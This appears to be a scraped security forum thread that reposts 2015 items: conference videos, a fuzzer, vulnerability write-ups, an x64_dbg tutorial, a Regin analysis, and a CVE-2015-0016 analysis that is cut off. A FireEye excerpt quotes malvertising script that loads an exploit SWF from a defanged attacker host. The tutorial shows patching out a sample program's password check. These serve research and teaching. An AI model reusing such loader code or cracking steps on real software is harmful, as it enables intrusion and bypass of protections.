Shmoocon 2015 Videos Videos from Shmoocon 2015, held in Washington DC, January 16-18, 2015. These are the full videos recorded and available from the event, put into one item to allow playlisting. Individual talk items are currently available as well. This movie is part of the collection:Hacker Conferences Language:English Individual Files [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Movie Files[/TH] [TH=align: left]Animated GIF[/TH] [TH=align: left]MPEG4[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]0wn the Con [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]247.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]5 Usability [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]69.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Analyzing POS Malware [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Ask EFF [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]334.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Automated Binary Analysis with Pin and Python [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]BIOS Bugs [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]96.6 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Closing Remarks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]344.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Cockroach Analysis [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]200.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]College Hacking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Come to the Dark Side [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]139.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Crypto [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]130.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Dark Art of Data Visualization [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Deception for the Cyber Defender [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Eliminating Timing Side Channel Attacks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]157.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Get off my lawn [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]360.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]How Random Is Your RNG [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]202.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Infrastructure Tracking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]474.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Keynote [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]272.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Knock Knock [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]140.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Malicious Image Spam [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]74.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Manually Searching Advisories and Blogs for Threat Data [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]366.7 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Micronesia [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]237.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]NSA USB Playset [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]194.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]NaCl Crypto Library [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]178.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]No Budget Threat Intel [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]303.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Opening Rants [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]339.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Practical Machine Learning for Network Security [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]305.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Quantum Computing [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Rethinking Securitys Role in CompSci Edu [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]217.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]SEWIFI [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]82.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Saturday Firetalks [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]558.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Tap On Tap Off [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]212.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]The Joy of Intelligent Proactive Security [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]399.9 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Understanding a New Memory Corruption Defense [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]327.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Userland Persistance [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]66.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Where The Wild Things Are [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Wheres Waldo [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]354.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]White is the New Black [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]126.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Whitelisting Evasion [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]75.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Windows Sandbox Paradox [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]194.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]httpscreenshot [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]198.4 MB [/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Information[/TH] [TH=align: left]Format[/TH] [TH=align: left]Size[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_files.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left][file][/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.sqlite[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]59.0 KB[/TD] [/TR] [TR=class: odd] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]717.0 B[/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Other Files[/TH] [TH=align: left]Archive BitTorrent[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_archive.torrent[/TD] [TD=align: left]57.1 KB[/TD] [/TR] [/TABLE] Sursa: https://archive.org/details/shmoocon-2015-videos-playlist

Grinder - System to Automate the Fuzzing of Web Browsers Lydecker Black on 5:00 PM Grinder is a system to automate the fuzzing of web browsers and the management of a large number of crashes. Grinder Nodes provide an automated way to fuzz a browser, and generate useful crash information (such as call stacks with symbol information as well as logging information which can be used to generate reproducible test cases at a later stage). A Grinder Server provides a central location to collate crashes and, through a web interface, allows multiple users to login and manage all the crashes being generated by all of the Grinder Nodes. System Requirements A Grinder Node requires a 32/64 bit Windows system and Ruby 2.0 (Ruby 1.9 is also supported but you wont be able to fuzz 64bit targets). A Grinder Server requires a web server with MySQL and PHP. Features Grinder Server features: Multi user web application. User can login and manage all crashes reported by the Grinder Nodes. Administrators can create more users and view the login history. Users can view the status of the Grinder system. The activity of all nodes in the system is shown including status information such as average testcases being run per minute, the total crashes a node has generated and the last time a node generated a crash. Users can view all of the crashes in the system and sort them by node, target, fuzzer, type, hash, time or count. Users can view crash statistics for the fuzzers, including total and unique crashes per fuzzer and the targets each fuzzer is generating crashes on. Users can hide all duplicate crashes so as to only show unique crashes in the system in order to easily manage new crashes as they occur. Users can assign crashes to one another as well as mark a particular crash as interesting, exploitable, uninteresting or unknown. Users can store written notes for a particular crash (viewable to all other users) to help manage them. Users can download individual crash log files to help debug and recreate testcases. Users can create custom filters to exclude uninteresting crashes from the list of crashes. Users can create custom e-mail alerts to alert them when a new crash comes into the system that matches a specific criteria. Users can change their password and e-mail address on the system as well as view their own login history. Grinder Node features: A node can be brought up and begin fuzzing any supported browser via a single command. A node injects a logging DLL into the target browser process to help the fuzzers perform logging in order to recreate testcases at a later stage. A node records useful crash information such as call stack, stack dump, code dump and register info and also includes any available symbol information. A node can automatically encrypt all crash information with an RSA public key. A node can automatically report new crashes to a remote Grinder Server. A node can run largely unattended for a long period of time. Grinder Screenshots Download Grinder Sursa: http://hack-tools.blackploit.com/2015/01/grinder-system-to-automate-fuzzing-of.html

Bug in ultra secure BlackPhone let attackers decrypt texts, stalk users Silent Circle purges remotely exploitable "type confusion" flaw. by Dan Goodin - Jan 28 2015, 7:30am GTBST A recently fixed vulnerability in the BlackPhone instant messaging application gave attackers the ability to decrypt messages, steal contacts, and control vital functions of the device, which is marketed as a more secure way to protect communications from government and criminal snoops. FURTHER READING Custom-built with privacy in mind, this handset isn’t for (Google) Play. Mark Dowd, a principal consultant with Australia-based Azimuth Security, said would-be attackers needed only a user's Silent Circle ID or phone number to remotely exploit the bug. From there, the attacker could surreptitiously decrypt and read messages, read contacts, monitor geographic locations of the phone, write code or text to the phone's external storage, and enumerate the accounts stored on the device. He said engineers at BlackPhone designer Silent Circle fixed the underlying bug after he privately reported it to them.The vulnerability resided in SilentText, the secure text messaging application bundled with the BlackPhone and also as a free Android App in Google Play. A component known as libscimp contained a type of memory corruption flaw known as a type confusion vulnerability. Libscimp is the BlackPhone implementation of the Silent Circle Instant Messaging Protocol (SCIMP) and runs on top of the extensible messaging and presence protocol (XMPP). SCIMP is used to create secure end-to-end channels between people sending text messages. It handles the transportation of the encrypted data through the channel. Type confusion vulnerabilities occur when one data type is mistakenly interpreted as another. Usually, a pointer to one object is incorrectly manipulated as a pointer to an object of a different type. In unmanaged languages such as C, these flaws often result in invalid memory accesses that can be exploited in ways similar to so-called use-after-free bugs. Dowd and fellow researchers Ryan Smith and David Dewey spoke about type confusion at the 2009 Black Hat security conference. The BlackPhone attack could be triggered by sending targets a specially designed payload that allowed an attacker to overwrite a pointer in memory, paving the way to replacing normal contents with malicious ones. Dowd provides a spectacularly deep technical explanation in his blog. The vulnerability is a potent reminder that strong encryption means little if one of the endpoints is compromised. The BlackPhone appears to do many things right, but in age of advanced hacking and ever more complex software, that's no guarantee it can't be hacked. Sursa: http://arstechnica.com/security/2015/01/bug-in-ultra-secure-blackphone-let-attackers-decrypt-texts-stalk-users/

An Introduction To x64_dbg Welcome to this short, introductory tutorial for using x64_dbg. The goal of this tutorial is to teach you some of the fundamentals of the x64_dbg and show you how closely its features and flexibility resembles its close cousin Ollydbg.While x64_dbg is still in an alpha stage, its bugs are minor and few with only a crash happening under unlikely conditions. 1. The Configuration. Configuring x64_dbg is quite simple since the menu is much more concise than ollydbg, making the process much more user friendly. To access the configuration dialog, simply go to the Options menu and click Preferences. In the first tab labeled Events, you can configure what events you want x64_dbg to break on when they occur. The configuration in the screenshot above is what I typically recommend and use for simple debugging. The options here are just like those found in ollydbg 1.10 with a few additional features. Here is the gist of what these features do. System Breakpoint: When loading a new process, the will cause x64_dbg to break in the system function which initializes the application you are attempting to debug. TLS Callbacks: The TLS Callback is a function which is called before the main application runs. This can set parameters or even be used by certain protectors to implement anti-debug technology. This allows you to break on this function. Entry Breakpoint: This causes x64_dbg to break on the Entry point on the application. For general debugging, this is the only breakpoint you will need to have checked. DLL Entry: This will break on the entry point of any DLL which is loaded by the process you are debugging. Thread Entry: This will break on the first instruction of any new thread initialized by the current process. Attach Breakpoint: When this is checked, it will cause x64_dbg to break in the DbgUiRemoteBreakin function when attaching to an active process. If unchecked, it will attach without suspending the process. DLL Load/DLL Unload: This will break in the system function when a new library(DLL) is loaded into or unloaded from the active process. The DLL Load breakpoint occurs before any of its code is executed. Thread Start/Thread End: This allows us to break in system when our debugged application initializes or terminates a thread. In the Engine pane, you will find a few advanced settings for the debugging engine. This should just be left as default in most cases, but here is a rundown of how they work. Enable Debug Privilege: This allows you to attach to system processes. Breakpoint Type: This feature allows you to try different types of breakpoints if your program detects or blocks the default INT3. Undecorate Symbol Names: This makes symbol names look cleaner. It is an aesthetic feature. In the Exceptions pane, you can tell x64_dbg which exceptions you would like to ignore and pass to the program. Leaving this blank will let x64_dbg break on every exception. If you want to ignore all exceptions, add the range 0-ffffffff using the Add Range button. The Add Last button will allow you to add the most recent exception which the program you are currently debugging incurred to the ignore list. We can use the Disasm pane in order to change the appearance of the disassembled instructions. Here is a gist of what these options do. Argument Spaces: This will put a space after every argument changing mov rax,rdx to mov rax, rdx. It essentially puts a space after every comma. Memory Spaces: This puts a space in between memory reference instructions and their operators. This causes mov eax, byte ptr ds:[edx+18] to look like mov eax, byte ptr ds:[edx + 18]. Uppercase: This changes all of the text to uppercase. Autocomments only on CIP: This will remove all comments, including references from the current disassembly except at the instruction pointer. The Misc tab allows you to configure x64_dbg to be the Just in Time Debugger so that the system can attach it to a process whenever a problem occurs. 1. Debugging x64_dbg Sample: In order to make this tutorial a little more hands on, I created a little program called x64_dbg Sample. It and its source are available for download directly from the x64_dbg sourceforge directory at the following link: http://sourceforge.net/projects/x64dbg/files/extra/ Once you have downloaded this, extract it from the archive and let's open it in x64_dbg. To do so, you can start x64_dbg and drag and drop the file into the disassembly window or use the File -> Open option to do the same. Alternately, you can let the default x64_dbg program automatically register a shell extension for you so you can open files through the right click menu. Once you have opened it and you had previously configured the event settings to Entry Point only, you should be at the entry point of the main module. In the interface, you will see that x64_dbg has many of the same shortcut keys as ollydbg. In the debug menu, you can see that x64_dbg has the same hotkeys as Ollydbg. These commands provide some of the key operations that you will need to use in your regular debugging activities. Run(F9): This starts or resumes the process normally. Run(skip exceptions) (Shift+f9): This will resume the process while passing the current and all following exceptions to the process. Pause(F12): This suspends the current process. Restart(Ctrl+F2): This terminates the debugged process and reloads it. Close(Alt+F4): This terminates and unloads the debugged process. Step Into(F7): This allows us to enter a routine or execute the next step in a repeat instruction. Step Into(skip exceptions)(Shift+F7): This allows us to enter a routine or execute the next step in a repeat instruction while passing the current exception to the application. Step Over(F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction. Step Over(skip exceptions)(Shift+F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction while passing the current exception to the application. Execute Till Return(Ctrl+F9): This resumes the process until a return instruction is executed. Execute Till Return(skip exceptions)(Ctrl+Shift+F9): This resumes the process until a return instruction is executed while passing the current exception to the application. Breakpoints: When you are debugging, one of the primary features you want to use is called breakpoints. There are 3 main types of breakpoints. We will briefly discuss these here. Execution Breakpoint: This is the most common and most used type of breakpoint. When you toggle a breakpoint on a specific address, this tell the debugger to stop when that address is reached in the execution. To use this, simply press the F2 when over an address you would like to break on. Memory Breakpoint: A memory breakpoint is used to pause an application when a specific area of memory is either accessed, written to, or executed. This is handy when you want to determine when or if a specific area of memory is used by the program. This is available in the right click menu of the memory map window and dump pane. Hardware Breakpoint: A hardware breakpoint is used to pause an application when a particular address is either written to, read, or executed. This is specifically useful to determine when a particular variable is set. This can be used for byte, word, and dword reads and writes. This feature is available in the right click menu of the hex dump. Let's Begin: Now that we have a general understanding of the features in x64_dbg, we can begin debugging our first target. We already have our target loaded into x64_dbg, so let's Run it by pressing F9. As you can see, the application begins to run with the debugger attached to it. At this point, we can pause the application in x64_dbg and take a look at a few of its features. To pause the application, press F12. When we pause, we arrive inside of a break-in thread created by x64_dbg. In order to get back to the main thread, we simply click the threads tab and double click on the one labeled main. Once we arrive in the Main Thread, we can start stepping through the routines and analyzing the call stack. The Call Stack window gives you an extensive list of the functions and procedures(routines) which brought you to your current location. You can use this window to analyze these routines and learn about your application's execution routine. Just double click the one you would like to follow in the disassembler. The Memory Map pane will show us all of the sections or regions of RAM allocated to and by our application and its dependencies. Let's go ahead and resume the process by pressing F9. Let's attempt to enter the fake password '123456' into the application and see what message is returned when we click Check. As we see, this is not a valid password because of the message 'Authentication Failed. Invalid Password!' Now that we know the message, let's use the built-in find referenced strings function in x64_dbg to see if we can locate this string inside of the application.To do this, we first need to verify that we are currently inside of the application module. Once this is verified, we can either click on the 'A' button on the top pane of x64_dbg, or left click in the disassembly pane and go to Search for -> String references. This will build up a listing of all of the strings referenced in the application's code. Once you build up a list, we can use the search pane to filter the list and find the location of this string. However, since this is small application, a simple scroll to the bottom will reveal the location of where our string is referenced, as well as some other interesting strings. Double clicking any of these will take you to their location in the disassembly pane. You can also toggle a breakpoint on these references by simply pressing F2. Let's follow the 'Authentication Failed..' string and see where it takes us. In the picture above, I have set a breakpoint at the beginning of the function which checks our password. I have also added some comments beside of a few of the calls so that we can understand this a little better. If we were to step through this using f8, which steps over the calls, we can see the process. Let's toggle the breakpoint at the beginning of this function using F2, enter the value of123456 into the password box and click Check. We will immediately break on our breakpoint. As we step, you will notice that we will get the password we entered in the text field and then hash it with the built in algorithm. As we can see, our password is being run through a digest or hashing algorithm and being compared to a precalculated value which is stored in the program as a string. To determine which hash algorithm type this program is using, we can use my software hashing utility to compare the results for the string '123456'. In the debug sample, the hash returned for '123456' is 'e10adc3949ba59abbe56e057f20f883e'. Let's see which algorithm produces the same. It appears that our hash algorithm is MD5. Since the hash is compared to a hardcoded value, it may take a long time to bruteforce or recover the original password. Using x64_dbg, we have the ability to patch or modify the instructions so that it can accept any password as valid. In the code above, our hashes are compared. If they are equal to each other, the program tells us the password is valid. If not, we are told it is invalid. Using the built in assembler, we can change the location of where the comparison jump lands. That means if we change it to the next instruction, it will always show that the password is valid regardless of what we enter. To use the assembler, we simply press the space bar when we are over top of the instruction we want to change. Normally, this would jump to VA 59EA68 if the password is invalid. Here, we will simply change the address to 59EA5A so that it will always go to the valid password code regardless of what we enter into the field. After we click OK, the instruction is immediately modified in memory. Now that we have patched, let's test the '123456' password again. As you can see, anything we enter now will be the correct password. However, this patch only affects the memory of the process. Once we restart the program, this patch will be gone. If you want to make this patch permanent, you can save this to disk. This will make a modified copy of our executable that will always accept a fake password. To do so, we open the patch dialog by clicking the button with the bandage on it at the top. Once this is opened, we can check the patch you want to save, and this click Patch file. This will allow you to save the modified program directly on disk under any name that you specify. Now, since we know how the algorithm works, let's see if we can break the password. Online there are multiple databases that will check if they have a solution to your hash. In order to copy the built in hash as a string, we need to follow the value in the dump.To do so, right click on the instruction which points to the built in hash and go to Follow in Dump -> Address. Now that we are in the dump, we need to highlight the hex values of the hash string, right click, and the click edit. This will allow us to simply copy the string directly to our clipboard. Now that we have the hash, we can paste it into a hash solver such as the one available at hashkiller.co.uk. Amazingly, it has found a solution saying that the password is ba321c. Let's open the unmodified program or restart the one in our debugger and try this value in the password field. Using our minds and taking this simple approach, we have found the password. This concludes this introductory tutorial for x64_dbg. This is a very powerful reverse engineering tool that offers a wide range of features and flexibility to accomplish even the most difficult tasks. We are very fortunate that the author has made this free and open source. We should always take the time to thank the developer who has worked hard on this with a small donation or contribution. I hope you found this tutorial helpful. If you have any questions, feel free to ask them below. Until next time, happy reversing. Posted by Chester Fritz at 1:33 PM Sursa: http://reverseengineeringtips.blogspot.gr/2015/01/an-introduction-to-x64dbg.html

A Different Exploit Angle on Adobe's Recent Zero-Day January 27, 2015 | By Dan Caselden, Corbin Souffrant, James T. Bennett | Exploits, Threat Research The Angler Exploit Kit (EK) recently incorporated a zero-day exploit (CVE-2015-0311) as discussed on Jan. 21 by Kafeine (http://malware.dontneedcoffee.com/2015/01/unpatched-vulnerability-0day-in-flash.html). OnJan. 24, FireEye encountered a variant of this exploit packaged in a completely different way. The following is a technical discussion of this sample and its contrast to that provided by the Angler EK. Mitigation Adobe has released a patch addressing CVE-2015-0311. Applying this security patch will prevent this and any other samples relying on CVE-2015-0311 from successfully exploiting victim machines. New Variant HTML/Javascript Attack Vector The exploit is being served through advertising banners on adult websites, including one Alexa top 1000 site. The Flash exploit is loaded by plain Javascript generated from php that appears to be devoid of any environmental checks or obfuscations that are typically indicative of the Angler EK: <script type="text/javascript" src="http://neteasymarketing[.]biz/tracking.php"></script> ---- document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param name="movie" value="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" /><!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" width="1" height="1"></object><!--<![endif]--></object>'); Articol complet: https://www.fireeye.com/blog/threat-research/2015/01/a_different_exploit.html

Comparing the Regin module 50251 and the "Qwerty" keylogger Costin Raiu Igor Soumenkov On January 17 2015, Spiegel.de published an extensive article based on documents obtained from Edward Snowden. At the same time, they provided a copy of a malicious program codenamed "QWERTY" (http://www.spiegel.de/media/media-35668.pdf), supposedly used by several governments in their CNE operations. We've obtained a copy of the malicious files published by Der Spiegel and when we analyzed them, they immediately reminded us of Regin. Looking at the code closely, we conclude that the "QWERTY" malware is identical in functionality to the Regin 50251 plugin. Analysis The Qwerty module pack consists of three binaries and accompanying configuration files. One file from the package– 20123.sys – is particularly interesting. The "20123.sys" is a kernel mode part of the keylogger. As it turns out, it was built from source code that can also be found one Regin module, the "50251" plugin. Using a binary diff it is easy to spot a significant part of code that is shared between both files: Most of the shared code belongs to the function that accesses the system keyboard driver: Most of the "Qwerty" components call plugins from the same pack (with plugin numbers 20121 – 20123), however there is also one piece code that references plugins from the Regin platform. One particular part of code is used in both the "Qwerty" 20123 module and the Regin's 50251 counterpart, and it addresses the plugin 50225 that can be found in the virtual filesystems of Regin. The Regin's plugin 50225 is reponsible for kernel-mode hooking. This is a solid proof that the Qwerty plugin can only operate as part of the Regin platform, leveraging the kernel hooking functions from plugin 50225. As an additional proof that both modules use the same software platform, we can take a look at functions exported by ordinal 1 of both modules. They contain the startup code that can be found in any other plugin of Regin, and include the actual plugin number that is registered within the platform to allow further addressing of the module. This only makes sense if the modules are used with the Regin platform orchestrator. The reason why the two modules have different plugin IDs is unknown. This is perhaps because they are leveraged by different actors, each one with its own allocated plugin ID ranges. Conclusions Our analysis of the QWERTY malware published by Der Spiegel indicates it is a plugin designed to work part of the Regin platform. The QWERTY keylogger doesn't function as a stand-alone module, it relies on kernel hooking functions which are provided by the Regin module 50225. Considering the extreme complexity of the Regin platform and little chance that it can be duplicated by somebody without having access to its sourcecodes, we conclude the QWERTY malware developers and the Regin developers are the same or working together. Another important observation is that Regin plugins are stored inside an encrypted and compressed VFS, meaning they don't exist directly on the victim's machine in "native" format. The platform dispatcher loads and executes there plugins at startup. The only way to catch the keylogger is by scanning the system memory or decoding the VFSes. Sursa: https://securelist.com/blog/research/68525/comparing-the-regin-module-50251-and-the-qwerty-keylogger/

[h=2]Advanced Heap Overflow Exploitation[/h] [h=4]By Francois Goichon, 28 Jan. 2015[/h]For 15 years, heap exploitation has gone through a relentless cycle of the disclosure of technical exploitation techniques and consequent hardening of malloc() in response. Notable examples include: the old-school unlink() exploit; the Malloc Maleficarum revisited in 2009; and Google Project Zero's large chunks unlink, where libc fails to compile assert() statements in. Inevitably, most of the techniques described in these papers are now obsolete, have been subsequently patched, or have been rendered unexploitable through the addition of mitigation technologies such as Address Space Layout Randomisation (ASLR) and No eXecute (NX). Nowadays, exploiting heap structures is heavily dependent on the target application, and in most scenarios the goal is to overwrite pointers or indexes that can eventually provide program counter (PC) control or an arbitrary overwrite. In this paper, however, we target a more specific scenario, where the heap overflow cannot immediately reach interesting data. We present how heap structures can be abused to produce overlapping chunks. The exploitation process is then comparable to use-after-free vulnerabilities. We demonstrate this scenario in both a real-world example and a proof-of-concept program prone to overflows in heap areas where the attacker can predict and further manage chunk allocation. This happens in programs that make an extensive use of malloc() and free() with user-controlled chunks, namely protocol handlers, parsers, editors or, more generally, applications maintaining algorithmic structures of said user-supplied data. Read the full whitepaper Sursa: Advanced Heap Overflow Exploitation

Better and more secure JavaScript! Because! Just include… <script src="secure.js"></script> …and reap the benefits of really safe and secure JavaScript! ;;;;;;;;;; // semicolons make things securer, trust me on this;;;;;;;;;; ;;;;;;;;;; ((((( function(){ function log(message){ if ('console' in this && 'log' in console) {{{{ console.log(message); }}}} } // first, test if JavaScript is available document.write('<script>;;;;;var __secure = true;;;;;</script>'); if (!__secure) {{{{ return log("secure.js: security alert: whoa, no JavaScript available!!1!"); }}}} // sanity check that JavaScript actually works if (!(1+1 == 2)) {{{{ return log("secure.js: security alert: nice try, fake JavaScript!!1!"); }}}} // before declaring strict mode, which requires a string, // test if Strings are available if (!'String' in this) {{{{ return log("secure.js: security alert: strings are not available!!1!"); }}}} // improve security by using strict mode "use strict"; return log("secure.js: everything is really secure now!"); ;;;;;;;;;; } )))))() ;;;;;;;;;; ;;;;;;;;;; // some more security padding Acest post este un... Sursa: https://github.com/madrobby/secure.js/blob/master/secure.js

Da-ne niste detalii si niste dovezi. Intre timp, scot din informatii.

Super.

CVE-2015-0016: Escaping the Internet Explorer Sandbox 11:04 pm (UTC-7) | by Henry Li (Threats Analyst ) Part of this January’s Patch Tuesday releases was MS15-004, which fixed a vulnerability that could be used in escalation of privilege attacks. I analyzed this vulnerability (designated as CVE-2015-0016) because it may be the first vulnerability in the wild that showed the capability to escape the Internet Explorer sandbox. As sandboxing represents a key part of exploit mitigation techniques, any exploit that can break established sandboxes is worth a second look. The vulnerability in the module TSWbPrxy.exe, which is an ActiveX Control. This module acts as the web proxy of the Microsoft Remote Desktop. Patch differences First, I used the IDA plugin patchdiff2 to see what modifications the patch had made. This was in the functionCTSWebProxy::StartRemoteDestop. Using OleView, I loaded TSWbPrxy.exe to see the definition of CTSWebProxy::StartRemoteDestop. Figure 1. Definition of StartRemoteDesktop I found that StartRemoteDesktop has two parameters, both related to mstsc.exe, which is the Remote Desktop application: bstrMstsc: the file path of mstsc.exe bstrArguments: the parameters of mstsc.exe The StartRemoteDesktop function creates a process to launch mstsc.exe. I used the IDA plugins to show more clearly the differences between the patched and unpatched versions: Figure 2. Differences between patched and unpatched versions (Click to enlarge) On the left is the patched version of this procedure. On the right is the unpatched version. On the patched version, before the call for CreateProcessW is carried out, check_path (shown in grey) is called. No such call exists on the unpatched version. Let’s look at this particular function: Figures 3 and 4. Code of check_path It has one parameter (lpApplicationName) and performs the following routines: First check lpApplicationName length. It this is bigger than 0x104, return error 0x80075007. Format lpApplicationName, convert char ‘/’ to char ‘\’ and save the result to var_formatApplicationNmae. call CompareStringW to compare the string SystemDirectory + “mstsc.exe” with the stringvar_formatApplicationNmae. If the two are equal, check_path returns 0. call CompareStringW to compare the string SystemWow64Directory + “mstsc.exe” with var_formatApplicationNmae. If the two are equal, check_path returns 0 otherwise it returns error 0x80075007. This allows us to see just how Microsoft patched the vulnerability. It checks if lpApplicationName is equivalent to the full path of 